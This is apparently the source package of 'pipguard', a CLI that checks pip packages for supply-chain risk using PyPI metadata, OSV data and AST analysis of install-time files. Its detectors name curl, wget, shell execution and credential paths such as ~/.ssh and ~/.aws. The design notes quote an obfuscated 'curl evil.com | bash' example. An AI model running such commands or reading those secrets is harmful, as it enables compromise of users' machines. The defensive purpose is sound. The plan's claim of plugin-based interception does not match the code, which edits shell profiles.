pipguard-cli 0.1.0__tar.gz

pipguard_cli-0.1.0/.gitignore

@@ -0,0 +1,9 @@
+__pycache__/
+*.py[cod]
+*.egg-info/
+dist/
+build/
+.venv/
+venv/
+.env
+*.db

pipguard_cli-0.1.0/PKG-INFO

@@ -0,0 +1,8 @@
+Metadata-Version: 2.4
+Name: pipguard-cli
+Version: 0.1.0
+Summary: Supply chain attack prevention for pip installs
+Requires-Python: >=3.10
+Requires-Dist: httpx>=0.27.0
+Requires-Dist: rich>=13.0.0
+Requires-Dist: typer>=0.9.0

pipguard_cli-0.1.0/pipguard/__init__.py

@@ -0,0 +1 @@
+__version__ = "0.1.0"

pipguard_cli-0.1.0/pipguard/analyzer.py

@@ -0,0 +1,116 @@
+import ast
+import io
+import tarfile
+from pathlib import Path
+
+import httpx
+
+# Files that execute automatically during install or first import
+TARGET_FILES = {"setup.py", "pyproject.toml", "__init__.py"}
+
+_NETWORK_PATTERNS = [
+    "requests.", "urllib.", "httpx.", "http.client",
+    "ftplib", "smtplib", "socket.",
+]
+_SHELL_PATTERNS = ["os.system", "subprocess.", "commands.getoutput"]
+_HOME_STRINGS = ["~/.ssh", "~/.aws", "~/.config", "~/.gnupg", "~/.netrc"]
+
+
+class _FlagVisitor(ast.NodeVisitor):
+    def __init__(self):
+        self.flags: dict[str, bool] = {
+            "network_call": False,
+            "env_access": False,
+            "home_dir_access": False,
+            "shell_exec": False,
+            "base64_obfuscation": False,
+            "dynamic_exec": False,
+        }
+
+    def visit_Call(self, node: ast.Call):
+        func_str = ast.unparse(node)
+
+        if any(p in func_str for p in _NETWORK_PATTERNS):
+            self.flags["network_call"] = True
+
+        # curl/wget buried in string args
+        for child in ast.walk(node):
+            if isinstance(child, ast.Constant) and isinstance(child.value, str):
+                if any(s in child.value for s in ("curl ", "wget ", "http://", "https://")):
+                    self.flags["network_call"] = True
+
+        if "os.environ" in func_str or "os.getenv" in func_str:
+            self.flags["env_access"] = True
+
+        if any(p in func_str for p in _SHELL_PATTERNS):
+            self.flags["shell_exec"] = True
+
+        if func_str.startswith("eval(") or func_str.startswith("exec("):
+            self.flags["dynamic_exec"] = True
+            self.flags["shell_exec"] = True
+
+        if "base64.b64decode" in func_str or "base64.decodebytes" in func_str:
+            self.flags["base64_obfuscation"] = True
+
+        # getattr-based obfuscation: getattr(os, 'sys'+'tem')(...)
+        if (
+            isinstance(node.func, ast.Call)
+            and isinstance(node.func.func, ast.Name)
+            and node.func.func.id == "getattr"
+        ):
+            self.flags["dynamic_exec"] = True
+
+        self.generic_visit(node)
+
+    def visit_Attribute(self, node: ast.Attribute):
+        full = ast.unparse(node)
+        if "expanduser" in full or ".home()" in full:
+            self.flags["home_dir_access"] = True
+        self.generic_visit(node)
+
+    def visit_Constant(self, node: ast.Constant):
+        if isinstance(node.value, str):
+            if any(node.value.startswith(p) for p in _HOME_STRINGS):
+                self.flags["home_dir_access"] = True
+        self.generic_visit(node)
+
+
+def _analyze_source(source: str) -> dict[str, bool]:
+    try:
+        tree = ast.parse(source)
+    except SyntaxError:
+        return {}
+    visitor = _FlagVisitor()
+    visitor.visit(tree)
+    return visitor.flags
+
+
+async def analyze_tarball(tarball_url: str) -> dict[str, bool]:
+    """Download source tarball and run AST analysis on install-time files."""
+    async with httpx.AsyncClient(timeout=30, follow_redirects=True) as client:
+        r = await client.get(tarball_url)
+        r.raise_for_status()
+
+    combined: dict[str, bool] = {
+        "network_call": False,
+        "env_access": False,
+        "home_dir_access": False,
+        "shell_exec": False,
+        "base64_obfuscation": False,
+        "dynamic_exec": False,
+    }
+
+    buf = io.BytesIO(r.content)
+    with tarfile.open(fileobj=buf, mode="r:gz") as tar:
+        for member in tar.getmembers():
+            if Path(member.name).name not in TARGET_FILES:
+                continue
+            f = tar.extractfile(member)
+            if f is None:
+                continue
+            source = f.read().decode("utf-8", errors="ignore")
+            for key, val in _analyze_source(source).items():
+                if val:
+                    combined[key] = True
+
+    return combined

pipguard_cli-0.1.0/pipguard/cache.py

@@ -0,0 +1,51 @@
+import json
+import sqlite3
+import time
+from pathlib import Path
+
+CACHE_DIR = Path.home() / ".pipguard"
+CACHE_DB = CACHE_DIR / "cache.db"
+
+TTL_TRUST = 86_400  # 24 hours
+TTL_VULN = 21_600   # 6 hours
+
+
+def _conn() -> sqlite3.Connection:
+    CACHE_DIR.mkdir(exist_ok=True)
+    con = sqlite3.connect(CACHE_DB)
+    con.execute("""
+        CREATE TABLE IF NOT EXISTS cache (
+            key        TEXT PRIMARY KEY,
+            value      TEXT NOT NULL,
+            expires_at REAL NOT NULL
+        )
+    """)
+    con.commit()
+    return con
+
+
+def get(key: str) -> dict | None:
+    with _conn() as con:
+        row = con.execute(
+            "SELECT value, expires_at FROM cache WHERE key = ?", (key,)
+        ).fetchone()
+    if row is None:
+        return None
+    value, expires_at = row
+    if time.time() > expires_at:
+        return None
+    return json.loads(value)
+
+
+def set(key: str, value: dict, ttl: int) -> None:
+    with _conn() as con:
+        con.execute(
+            "INSERT OR REPLACE INTO cache (key, value, expires_at) VALUES (?, ?, ?)",
+            (key, json.dumps(value), time.time() + ttl),
+        )
+
+
+def clear_vuln() -> None:
+    """Wipe all CVE/vulnerability cache entries (for pipguard update --force)."""
+    with _conn() as con:
+        con.execute("DELETE FROM cache WHERE key LIKE 'osv:%'")

pipguard_cli-0.1.0/pipguard/display.py

@@ -0,0 +1,90 @@
+from rich.console import Console
+from rich.table import Table
+
+console = Console()
+
+_VERDICT_COLOR = {"LOW": "green", "MEDIUM": "yellow", "HIGH": "red"}
+_VERDICT_LABEL = {"LOW": "LOW RISK", "MEDIUM": "MEDIUM RISK", "HIGH": "HIGH RISK"}
+
+
+def show_report(
+    package: str,
+    metadata: dict,
+    download_stats: dict,
+    vulns: list[dict],
+    analysis_flags: dict,
+    breakdown: dict,
+    cached: bool = False,
+) -> None:
+    cache_note = " [dim](cached)[/dim]" if cached else ""
+    console.print(f"\nAnalyzing [bold]{package}[/bold]{cache_note}...\n")
+
+    # ── Trust score ──────────────────────────────────────────────
+    console.rule("[bold]TRUST SCORE[/bold]")
+    t = Table(box=None, show_header=False, padding=(0, 2))
+    t.add_column(width=28)
+    t.add_column()
+
+    age = metadata.get("age_days")
+    age_str = f"{age}d" if age is not None else "unknown"
+    if age is None:
+        age_icon = "❓"
+    elif age < 30:
+        age_icon = "🔴"
+    elif age < 90:
+        age_icon = "⚠️"
+    else:
+        age_icon = "✅"
+    t.add_row("Package age:", f"{age_str}  {age_icon}")
+
+    t.add_row(
+        "GitHub repo:",
+        "✅ linked" if metadata.get("github_url") else "🔴 none",
+    )
+
+    spike = download_stats.get("spike_pct")
+    last_month = download_stats.get("last_month") or 0
+    if spike and spike > 300 and last_month < 50_000:
+        t.add_row("Download spike:", f"+{spike:.0f}%  ⚠️")
+    else:
+        t.add_row("Download spike:", "normal  ✅")
+
+    if vulns:
+        t.add_row("Known vulns:", f"🔴 {len(vulns)} found ({vulns[0]['id']})")
+    else:
+        t.add_row("Known vulns:", "✅ none")
+
+    console.print(t)
+
+    # ── Code analysis ────────────────────────────────────────────
+    console.rule("[bold]CODE ANALYSIS[/bold]")
+
+    if not analysis_flags:
+        console.print("  [dim]No source tarball available — code analysis skipped[/dim]")
+    else:
+        a = Table(box=None, show_header=False, padding=(0, 2))
+        a.add_column(width=28)
+        a.add_column()
+
+        def flag_row(label: str, key: str):
+            found = analysis_flags.get(key, False)
+            a.add_row(label, "🔴 FOUND" if found else "✅ NOT FOUND")
+
+        flag_row("Network requests:", "network_call")
+        flag_row("Env var access:", "env_access")
+        flag_row("Shell execution:", "shell_exec")
+        flag_row("Base64 obfuscation:", "base64_obfuscation")
+        flag_row("Home dir access:", "home_dir_access")
+        console.print(a)
+
+    # ── Verdict ──────────────────────────────────────────────────
+    verdict = breakdown["verdict"]
+    score = breakdown["score"]
+    color = _VERDICT_COLOR[verdict]
+    console.rule()
+    console.print(
+        f"  VERDICT:  [{color}]{_VERDICT_LABEL[verdict]}[/{color}]"
+        f"  (Score: [bold]{score}[/bold])"
+    )
+    console.rule()
+    console.print()

pipguard_cli-0.1.0/pipguard/github.py

@@ -0,0 +1,66 @@
+import re
+
+import httpx
+
+# Classifiers that indicate a package has no business making network calls at install time
+PURE_PYTHON_CLASSIFIERS = {
+    "Programming Language :: Python :: Implementation :: CPython",
+    "Topic :: Utilities",
+    "Topic :: Text Processing",
+    "Topic :: Software Development :: Libraries :: Python Modules",
+}
+
+# Classifiers where network calls are plausible
+NETWORK_CLASSIFIERS = {
+    "Topic :: Internet :: WWW/HTTP",
+    "Topic :: System :: Networking",
+    "Topic :: Scientific/Engineering :: Artificial Intelligence",
+    "Topic :: Software Development :: Build Tools",
+}
+
+_NETWORK_KEYWORDS = [
+    "download", "binary", "binaries", "pre-built", "native extension",
+    "model weights", "fetches", "auto-update", "update check",
+]
+_PURE_KEYWORDS = ["pure python", "pure-python", "zero dependencies", "no network", "offline"]
+
+
+def classify_from_classifiers(classifiers: list[str]) -> str:
+    """
+    Returns 'pure_python', 'network_expected', or 'ambiguous' based on PyPI classifiers.
+    This is free — classifiers are already in the PyPI JSON response.
+    """
+    classifier_set = set(classifiers)
+    has_pure = bool(classifier_set & PURE_PYTHON_CLASSIFIERS)
+    has_network = bool(classifier_set & NETWORK_CLASSIFIERS)
+
+    if has_pure and not has_network:
+        return "pure_python"
+    if has_network:
+        return "network_expected"
+    return "ambiguous"
+
+
+async def fetch_readme_classification(github_url: str) -> str:
+    """
+    Only called when classifiers are ambiguous or network_expected.
+    Returns 'network_expected', 'pure_python', or 'unknown'.
+    """
+    match = re.match(r"https://github\.com/([^/]+/[^/\s]+)", github_url)
+    if not match:
+        return "unknown"
+
+    repo = match.group(1).rstrip("/")
+    readme_url = f"https://raw.githubusercontent.com/{repo}/HEAD/README.md"
+
+    async with httpx.AsyncClient(timeout=10) as client:
+        r = await client.get(readme_url)
+        if r.status_code != 200:
+            return "unknown"
+        text = r.text.lower()
+
+    if any(kw in text for kw in _NETWORK_KEYWORDS):
+        return "network_expected"
+    if any(kw in text for kw in _PURE_KEYWORDS):
+        return "pure_python"
+    return "unknown"

pipguard_cli-0.1.0/pipguard/main.py

@@ -0,0 +1,322 @@
+import asyncio
+import subprocess
+import sys
+from pathlib import Path
+from typing import Optional
+
+import typer
+from rich.prompt import Confirm
+
+from pipguard import analyzer, cache, display, github, osv, pypi, scorer
+from pipguard.display import console
+
+app = typer.Typer(
+    help="pipguard — supply chain attack prevention for pip installs.",
+    add_completion=False,
+)
+
+
+async def _analyze(package: str, version: str | None, no_cache: bool) -> tuple[dict, bool]:
+    """Core analysis pipeline. Returns (result_dict, was_cached)."""
+    cache_key = f"full:{package}:{version or 'latest'}"
+
+    if not no_cache:
+        cached = cache.get(cache_key)
+        if cached:
+            return cached, True
+
+    # Fetch metadata first to resolve the exact version, then query OSV with it
+    metadata = await pypi.fetch_metadata(package, version)
+    download_stats, vulns = await asyncio.gather(
+        pypi.fetch_download_stats(package),
+        osv.check_vulns(package, metadata["version"]),
+    )
+
+    # Classifier gating: decide whether to call GitHub README
+    classifier_context = github.classify_from_classifiers(metadata["classifiers"])
+    readme_context = "unknown"
+
+    if classifier_context in ("ambiguous", "network_expected") and metadata.get("github_url"):
+        readme_context = await github.fetch_readme_classification(metadata["github_url"])
+
+    # Layer 2: AST analysis — only if source tarball exists
+    analysis_flags: dict = {}
+    if metadata.get("tarball_url"):
+        analysis_flags = await analyzer.analyze_tarball(metadata["tarball_url"])
+
+    breakdown = scorer.compute(
+        metadata, download_stats, vulns, analysis_flags, classifier_context, readme_context
+    )
+
+    result = {
+        "metadata": metadata,
+        "download_stats": download_stats,
+        "vulns": vulns,
+        "analysis_flags": analysis_flags,
+        "breakdown": breakdown,
+    }
+
+    cache.set(cache_key, result, cache.TTL_TRUST)
+    return result, False
+
+
+@app.command()
+def install(
+    package: str = typer.Argument(..., help="Package to analyze and install"),
+    version: Optional[str] = typer.Option(None, "--version", "-v", help="Specific version"),
+    no_cache: bool = typer.Option(False, "--no-cache", help="Bypass cache for this run"),
+    yes: bool = typer.Option(False, "--yes", "-y", help="Skip confirmation prompt"),
+):
+    """Analyze a package for supply chain risks, then install it."""
+    try:
+        result, cached = asyncio.run(_analyze(package, version, no_cache))
+    except Exception as e:
+        console.print(f"[red]Analysis failed: {e}[/red]")
+        raise typer.Exit(1)
+
+    display.show_report(
+        package,
+        result["metadata"],
+        result["download_stats"],
+        result["vulns"],
+        result["analysis_flags"],
+        result["breakdown"],
+        cached=cached,
+    )
+
+    verdict = result["breakdown"]["verdict"]
+
+    if verdict == "HIGH" and not yes:
+        if not Confirm.ask("Proceed anyway?", default=False):
+            raise typer.Exit(1)
+    elif verdict == "MEDIUM" and not yes:
+        if not Confirm.ask("Proceed anyway?", default=True):
+            raise typer.Exit(1)
+
+    pkg_spec = f"{package}=={result['metadata']['version']}"
+    console.print(f"Installing [bold]{pkg_spec}[/bold]...")
+    subprocess.run([sys.executable, "-m", "pip", "install", pkg_spec], check=True)
+
+
+@app.command()
+def info(
+    package: str = typer.Argument(..., help="Package to inspect"),
+    version: Optional[str] = typer.Option(None, "--version", "-v"),
+    no_cache: bool = typer.Option(False, "--no-cache"),
+):
+    """Show a risk report without installing."""
+    try:
+        result, cached = asyncio.run(_analyze(package, version, no_cache))
+    except Exception as e:
+        console.print(f"[red]Analysis failed: {e}[/red]")
+        raise typer.Exit(1)
+
+    display.show_report(
+        package,
+        result["metadata"],
+        result["download_stats"],
+        result["vulns"],
+        result["analysis_flags"],
+        result["breakdown"],
+        cached=cached,
+    )
+
+
+@app.command()
+def scan(
+    file: str = typer.Option("requirements.txt", "--file", "-f", help="Requirements file"),
+    ci: bool = typer.Option(False, "--ci", help="Non-interactive CI mode"),
+    fail_on: str = typer.Option("high", "--fail-on", help="Fail threshold: medium or high"),
+    no_cache: bool = typer.Option(False, "--no-cache"),
+):
+    """Scan all packages in a requirements file."""
+    req_path = Path(file)
+    if not req_path.exists():
+        console.print(f"[red]File not found: {file}[/red]")
+        raise typer.Exit(1)
+
+    packages: list[tuple[str, str | None]] = []
+    for line in req_path.read_text().splitlines():
+        line = line.strip()
+        if not line or line.startswith("#"):
+            continue
+        if "==" in line:
+            name, ver = line.split("==", 1)
+            packages.append((name.strip(), ver.strip()))
+        else:
+            packages.append((line, None))
+
+    fail_score = {"medium": 31, "high": 61}.get(fail_on.lower(), 61)
+    exit_code = 0
+
+    for name, ver in packages:
+        console.print(f"[dim]Scanning {name}...[/dim]")
+        try:
+            result, cached = asyncio.run(_analyze(name, ver, no_cache))
+            bd = result["breakdown"]
+            if bd["score"] >= fail_score:
+                display.show_report(
+                    name,
+                    result["metadata"],
+                    result["download_stats"],
+                    result["vulns"],
+                    result["analysis_flags"],
+                    bd,
+                    cached=cached,
+                )
+                if ci:
+                    exit_code = 1
+            else:
+                verdict = bd["verdict"]
+                color = {"LOW": "green", "MEDIUM": "yellow", "HIGH": "red"}[verdict]
+                console.print(f"  [{color}]{verdict}[/{color}] {name} (score: {bd['score']})")
+        except Exception as e:
+            console.print(f"[yellow]  Warning: could not scan {name}: {e}[/yellow]")
+
+    if ci and exit_code:
+        raise typer.Exit(exit_code)
+
+
+@app.command()
+def history():
+    """Show recent scan results from the local cache."""
+    import json
+    import sqlite3
+
+    if not cache.CACHE_DB.exists():
+        console.print("No scan history yet.")
+        return
+
+    con = sqlite3.connect(cache.CACHE_DB)
+    rows = con.execute(
+        "SELECT key, value FROM cache WHERE key LIKE 'full:%' ORDER BY expires_at DESC LIMIT 20"
+    ).fetchall()
+    con.close()
+
+    if not rows:
+        console.print("No scan history yet.")
+        return
+
+    from rich.table import Table
+
+    t = Table(title="Recent Scans", show_lines=False)
+    t.add_column("Package")
+    t.add_column("Version")
+    t.add_column("Score", justify="right")
+    t.add_column("Verdict")
+
+    for key, value in rows:
+        data = json.loads(value)
+        bd = data.get("breakdown", {})
+        _, pkg, ver = key.split(":", 2)
+        verdict = bd.get("verdict", "?")
+        score = bd.get("score", "?")
+        color = {"LOW": "green", "MEDIUM": "yellow", "HIGH": "red"}.get(verdict, "white")
+        t.add_row(pkg, ver, str(score), f"[{color}]{verdict}[/{color}]")
+
+    console.print(t)
+
+
+@app.command()
+def update(
+    force: bool = typer.Option(False, "--force", help="Wipe and refresh all CVE cache entries"),
+):
+    """Manage the pipguard cache."""
+    if force:
+        cache.clear_vuln()
+        console.print(
+            "[green]CVE cache cleared.[/green] Fresh vulnerability data will be fetched on next scan."
+        )
+    else:
+        console.print("Use [bold]pipguard update --force[/bold] to refresh CVE cache immediately.")
+
+
+@app.command()
+def configure():
+    """Set up automatic pip interception for your shell."""
+    import os
+    import platform
+
+    BASH_ZSH_FUNC = """
+# pipguard — intercept pip install
+pip() {
+    if [ "$1" = "install" ]; then
+        pipguard install "${@:2}"
+    else
+        command pip "$@"
+    fi
+}
+"""
+
+    FISH_FUNC = """
+# pipguard — intercept pip install
+function pip
+    if test "$argv[1]" = "install"
+        pipguard install $argv[2..]
+    else
+        command pip $argv
+    end
+end
+"""
+
+    POWERSHELL_FUNC = """
+# pipguard — intercept pip install
+function pip {
+    if ($args[0] -eq "install") {
+        pipguard install @($args | Select-Object -Skip 1)
+    } else {
+        & (Get-Command pip -CommandType Application | Select-Object -First 1).Source @args
+    }
+}
+"""
+
+    MARKER = "# pipguard — intercept pip install"
+
+    def already_configured(path: Path) -> bool:
+        return path.exists() and MARKER in path.read_text()
+
+    def append_to(path: Path, content: str):
+        path.parent.mkdir(parents=True, exist_ok=True)
+        with open(path, "a") as f:
+            f.write(content)
+
+    # Detect shell and config file
+    if platform.system() == "Windows":
+        # PowerShell
+        # Use $PROFILE directly — it resolves to the correct path for the running PowerShell version
+        ps_profile = Path(os.environ.get("USERPROFILE", str(Path.home()))) / "Documents" / "WindowsPowerShell" / "Microsoft.PowerShell_profile.ps1"
+        if already_configured(ps_profile):
+            console.print("[yellow]pipguard is already configured in your PowerShell profile.[/yellow]")
+            return
+        append_to(ps_profile, POWERSHELL_FUNC)
+        console.print(f"[green]Done![/green] Added pip interceptor to:\n  {ps_profile}")
+        console.print("\nReload your shell or run:")
+        console.print("  [bold]. $PROFILE[/bold]")
+
+    else:
+        shell = os.environ.get("SHELL", "")
+        if "zsh" in shell:
+            config = Path.home() / ".zshrc"
+            func = BASH_ZSH_FUNC
+        elif "fish" in shell:
+            config = Path.home() / ".config" / "fish" / "config.fish"
+            func = FISH_FUNC
+        else:
+            config = Path.home() / ".bashrc"
+            func = BASH_ZSH_FUNC
+
+        if already_configured(config):
+            console.print(f"[yellow]pipguard is already configured in {config}[/yellow]")
+            return
+
+        append_to(config, func)
+        console.print(f"[green]Done![/green] Added pip interceptor to:\n  {config}")
+        console.print("\nReload your shell or run:")
+        console.print(f"  [bold]source {config}[/bold]")
+
+    console.print("\nFrom now on, [bold]pip install <package>[/bold] will automatically run through pipguard.")
+    console.print("To remove, delete the pip() function from the config file shown above.")
+
+
+if __name__ == "__main__":
+    app()

pipguard_cli-0.1.0/pipguard/osv.py

@@ -0,0 +1,19 @@
+import httpx
+
+OSV_URL = "https://api.osv.dev/v1/query"
+
+
+async def check_vulns(package: str, version: str) -> list[dict]:
+    payload = {
+        "version": version,
+        "package": {"name": package, "ecosystem": "PyPI"},
+    }
+    async with httpx.AsyncClient(timeout=10) as client:
+        r = await client.post(OSV_URL, json=payload)
+        r.raise_for_status()
+        data = r.json()
+
+    return [
+        {"id": v["id"], "summary": v.get("summary", "No description")}
+        for v in data.get("vulns", [])
+    ]

pipguard_cli-0.1.0/pipguard/pypi.py

@@ -0,0 +1,84 @@
+from datetime import datetime, timezone
+
+import httpx
+
+PYPI_URL = "https://pypi.org/pypi/{package}/json"
+PYPI_VERSION_URL = "https://pypi.org/pypi/{package}/{version}/json"
+PYPISTATS_URL = "https://pypistats.org/api/packages/{package}/recent"
+
+
+async def fetch_metadata(package: str, version: str | None = None) -> dict:
+    url = (
+        PYPI_VERSION_URL.format(package=package, version=version)
+        if version
+        else PYPI_URL.format(package=package)
+    )
+    async with httpx.AsyncClient(timeout=10) as client:
+        r = await client.get(url)
+        r.raise_for_status()
+        data = r.json()
+
+    info = data["info"]
+    releases = data.get("releases", {})
+
+    # Earliest release date across all versions
+    all_dates = []
+    for files in releases.values():
+        for f in files:
+            if f.get("upload_time"):
+                all_dates.append(
+                    datetime.fromisoformat(f["upload_time"]).replace(tzinfo=timezone.utc)
+                )
+    first_release = min(all_dates) if all_dates else None
+    age_days = (datetime.now(timezone.utc) - first_release).days if first_release else None
+
+    # GitHub repo from project_urls or home_page
+    project_urls = info.get("project_urls") or {}
+    candidates = list(project_urls.values()) + [info.get("home_page") or ""]
+    github_url = next((u for u in candidates if u and "github.com" in u), None)
+
+    # Source tarball URL — version-specific endpoint puts files under data["urls"],
+    # the non-version endpoint puts them under releases[version]
+    target_version = version or info["version"]
+    tarball_url = None
+    candidate_files = data.get("urls") or releases.get(target_version, [])
+    for f in candidate_files:
+        if f.get("packagetype") == "sdist":
+            tarball_url = f["url"]
+            break
+
+    return {
+        "name": info["name"],
+        "version": target_version,
+        "age_days": age_days,
+        "classifiers": info.get("classifiers") or [],
+        "github_url": github_url,
+        "maintainer": info.get("maintainer") or info.get("author"),
+        "tarball_url": tarball_url,
+        "release_count": len(releases),
+    }
+
+
+async def fetch_download_stats(package: str) -> dict:
+    async with httpx.AsyncClient(timeout=10) as client:
+        r = await client.get(PYPISTATS_URL.format(package=package))
+        if r.status_code != 200:
+            return {"last_week": None, "last_month": None, "spike_pct": None}
+        data = r.json()["data"]
+
+    last_week = data.get("last_week") or 0
+    last_month = data.get("last_month") or 0
+
+    # Expected weekly = monthly / 4; spike = how much this week exceeds that
+    expected_weekly = last_month / 4 if last_month else 0
+    spike_pct = (
+        (last_week - expected_weekly) / expected_weekly * 100
+        if expected_weekly > 0
+        else None
+    )
+
+    return {
+        "last_week": last_week,
+        "last_month": last_month,
+        "spike_pct": spike_pct,
+    }

pipguard_cli-0.1.0/pipguard/scorer.py

@@ -0,0 +1,84 @@
+_WEIGHTS = {
+    "known_cve": 50,
+    "shell_exec": 40,
+    "base64_obfuscation": 35,
+    "package_new": 30,
+    "home_dir_access": 30,
+    "network_call_full": 25,       # pure Python package making network calls
+    "network_call_discounted": 8,  # network calls expected for this package type
+    "env_access": 20,
+    "maintainer_new": 20,
+    "download_spike": 15,
+    "no_github": 10,
+}
+
+
+def compute(
+    metadata: dict,
+    download_stats: dict,
+    vulns: list[dict],
+    analysis_flags: dict,
+    classifier_context: str,  # 'pure_python' | 'network_expected' | 'ambiguous'
+    readme_context: str,       # 'network_expected' | 'pure_python' | 'unknown'
+) -> dict:
+    score = 0
+    signals: dict[str, int] = {}
+
+    def add(label: str, pts: int):
+        nonlocal score
+        score += pts
+        signals[label] = pts
+
+    if vulns:
+        add(f"Known CVE ({vulns[0]['id']})", _WEIGHTS["known_cve"])
+
+    age_days = metadata.get("age_days")
+    if age_days is not None and age_days < 30:
+        add(f"Package < 30 days old ({age_days}d)", _WEIGHTS["package_new"])
+
+    spike_pct = download_stats.get("spike_pct")
+    last_month = download_stats.get("last_month") or 0
+    if spike_pct and spike_pct > 300 and last_month < 50_000:
+        add(f"Download spike +{spike_pct:.0f}%", _WEIGHTS["download_spike"])
+
+    if not metadata.get("github_url"):
+        add("No GitHub repo linked", _WEIGHTS["no_github"])
+
+    if analysis_flags.get("shell_exec"):
+        add("Shell execution in setup.py", _WEIGHTS["shell_exec"])
+
+    if analysis_flags.get("base64_obfuscation"):
+        add("Base64 obfuscation", _WEIGHTS["base64_obfuscation"])
+
+    if analysis_flags.get("home_dir_access"):
+        add("Home directory access", _WEIGHTS["home_dir_access"])
+
+    if analysis_flags.get("env_access"):
+        add("Env variable access", _WEIGHTS["env_access"])
+
+    if analysis_flags.get("network_call"):
+        network_expected = (
+            classifier_context == "network_expected"
+            or readme_context == "network_expected"
+        )
+        if classifier_context == "pure_python":
+            add(
+                "Network call in setup.py (unexpected for pure Python)",
+                _WEIGHTS["network_call_full"],
+            )
+        elif network_expected:
+            add(
+                "Network call in setup.py (expected for this package type)",
+                _WEIGHTS["network_call_discounted"],
+            )
+        else:
+            add("Network call in setup.py", _WEIGHTS["network_call_full"])
+
+    if score <= 30:
+        verdict = "LOW"
+    elif score <= 60:
+        verdict = "MEDIUM"
+    else:
+        verdict = "HIGH"
+
+    return {"score": score, "verdict": verdict, "signals": signals}

pipguard_cli-0.1.0/plan.md

@@ -0,0 +1,165 @@
+# pipguard — Plan & Scope
+
+> "Know what you're installing before you install it."
+
+A CLI tool that intercepts `pip install` and analyzes packages for supply chain attacks before they touch your system. The data to detect malicious packages already exists — PyPI, OSV.dev, GitHub. The gap is workflow integration. Nobody has made checking automatic at the exact moment of install.
+
+---
+
+## The Problem
+
+Supply chain attacks are increasing, especially in AI/ML where developers install unfamiliar packages constantly. Attack vectors: typosquatting (`reqeusts`, `nunpy`), dependency confusion, account takeover, slow poisoning (xz utils 2024), maintainer going rogue (colors.js). Common payload: steal API keys/SSH keys, open backdoors — all through `setup.py` which executes automatically on install.
+
+---
+
+## Architecture
+
+### Layer 1 — Trust Score (API calls, no download)
+
+| Signal | Source |
+|--------|--------|
+| Package age, version history | PyPI JSON API |
+| Download spike > 300% week-over-week AND total downloads < 50k | pypistats.org |
+| No linked GitHub repo | PyPI JSON API |
+| Maintainer account age, # of other packages | PyPI JSON API |
+| Maintainer changed between versions | PyPI JSON API |
+| Known CVEs | OSV.dev API |
+| GitHub README (only when classifiers are ambiguous) | GitHub API |
+
+### Layer 2 — Static Code Analysis (AST-based)
+
+Downloads the source tarball and analyzes `setup.py`, `pyproject.toml`, `__init__.py` — without executing anything.
+
+Flags: network requests, env var access (`os.environ`), home dir access (`~/.ssh`, `~/.aws`), shell execution (`subprocess`, `eval`, `exec`), base64 obfuscation, DNS lookups.
+
+**Why AST over grep:** AST catches obfuscated patterns grep misses:
+```python
+getattr(os, 'sys'+'tem')('curl evil.com | bash')  # grep misses, AST catches
+```
+
+---
+
+## Scoring
+
+```
+0–30  → LOW RISK     31–60  → MEDIUM RISK     61+  → HIGH RISK
+```
+
+| Signal | Points |
+|--------|--------|
+| Known CVE | +50 |
+| Shell execution in setup.py | +40 |
+| Base64 obfuscation | +35 |
+| Package < 30 days old | +30 |
+| Home directory access | +30 |
+| Network call in setup.py | +25 |
+| Reads env variables | +20 |
+| Maintainer account < 60 days old | +20 |
+| Download spike (< 50k total only) | +15 |
+| No GitHub repo | +10 |
+
+**Context-aware:** same flag scores differently based on trust profile. Network call from a 4-year-old package with 50M downloads weighs less than the same flag from a 2-week-old package. Age and downloads compound.
+
+**No static whitelist.** A whitelist creates a blind spot — a compromised boto3 would silently pass. Context-aware scoring + classifier gating handles false positives without a trust bypass.
+
+**Configurable weights** via `~/.pipguard/config.toml`. Ships with a `recommended` preset. Warns when user deviates significantly: `"Custom weights active — run pipguard config reset to restore recommended"`.
+
+---
+
+## Classifier-Gated GitHub Calls
+
+PyPI classifiers (free — already in the PyPI response) gate whether the GitHub README call is made. GitHub's unauthenticated limit is 60 req/hr — a 20-package scan exhausts it fast without gating.
+
+```
+Pure Python classifiers + network call found  →  FLAG at full weight, skip GitHub
+Networking / AI / Build Tools classifiers     →  Fetch GitHub README, discount if intent matches
+No useful classifiers                         →  Fetch GitHub README, default weight if unclear
+```
+
+**Pure Python classifiers:** `Topic :: Utilities`, `Topic :: Text Processing`, `Topic :: Software Development :: Libraries :: Python Modules`
+
+**"Network expected" classifiers:** `Topic :: Internet :: WWW/HTTP`, `Topic :: System :: Networking`, `Topic :: Scientific/Engineering :: Artificial Intelligence`, `Topic :: Software Development :: Build Tools`
+
+---
+
+## CLI
+
+```bash
+pipguard install <package>                 # analyze then install
+pipguard scan                              # scan requirements.txt
+pipguard scan --ci --fail-on [medium|high] # CI mode, exits 1 on threshold (default: high)
+pipguard info <package> [--no-cache]       # report without installing
+pipguard history                           # past scan results
+pipguard update --force                    # wipe + refresh CVE cache immediately
+```
+
+**Interception:** uses pip's official plugin API (pip 23.1+), not a shell alias. An alias that crashes locks the developer out of pip entirely. A plugin degrades gracefully.
+
+**Example output:**
+```
+$ pipguard install litellm
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+ TRUST SCORE
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+ Package age:      2 months   ⚠️
+ Maintainer age:   3 weeks    🔴
+ Download spike:   +380%      ⚠️
+ Other packages:   0          🔴
+ Known vulns:      0          ✅
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+ CODE ANALYSIS (setup.py)
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+ Network requests: FOUND      🔴
+ Env var access:   FOUND      🔴
+ Shell execution:  NOT FOUND  ✅
+ Obfuscation:      NOT FOUND  ✅
+
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+ VERDICT: 🔴 HIGH RISK (Score: 75)
+━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+Proceed anyway? [y/N]
+```
+
+---
+
+## Tech Stack
+
+| Component | Choice |
+|-----------|--------|
+| Language | Python (dogfoods itself) |
+| CLI | Typer |
+| HTTP | httpx (API calls + tarball downloads — no requests) |
+| AST | Python `ast` stdlib |
+| Output | Rich |
+| Cache | SQLite stdlib (`~/.pipguard/cache.db`) |
+
+**Caching:** trust scores cached 24hr, CVE data 6hr. Shows `(cached)` on hits. `--no-cache` bypasses per-run. `pipguard update --force` wipes CVE cache immediately for zero-day events.
+
+**Version pinning:** always checks the exact pinned version from requirements.txt, not latest. Warns on unpinned deps.
+
+---
+
+## Build Order
+
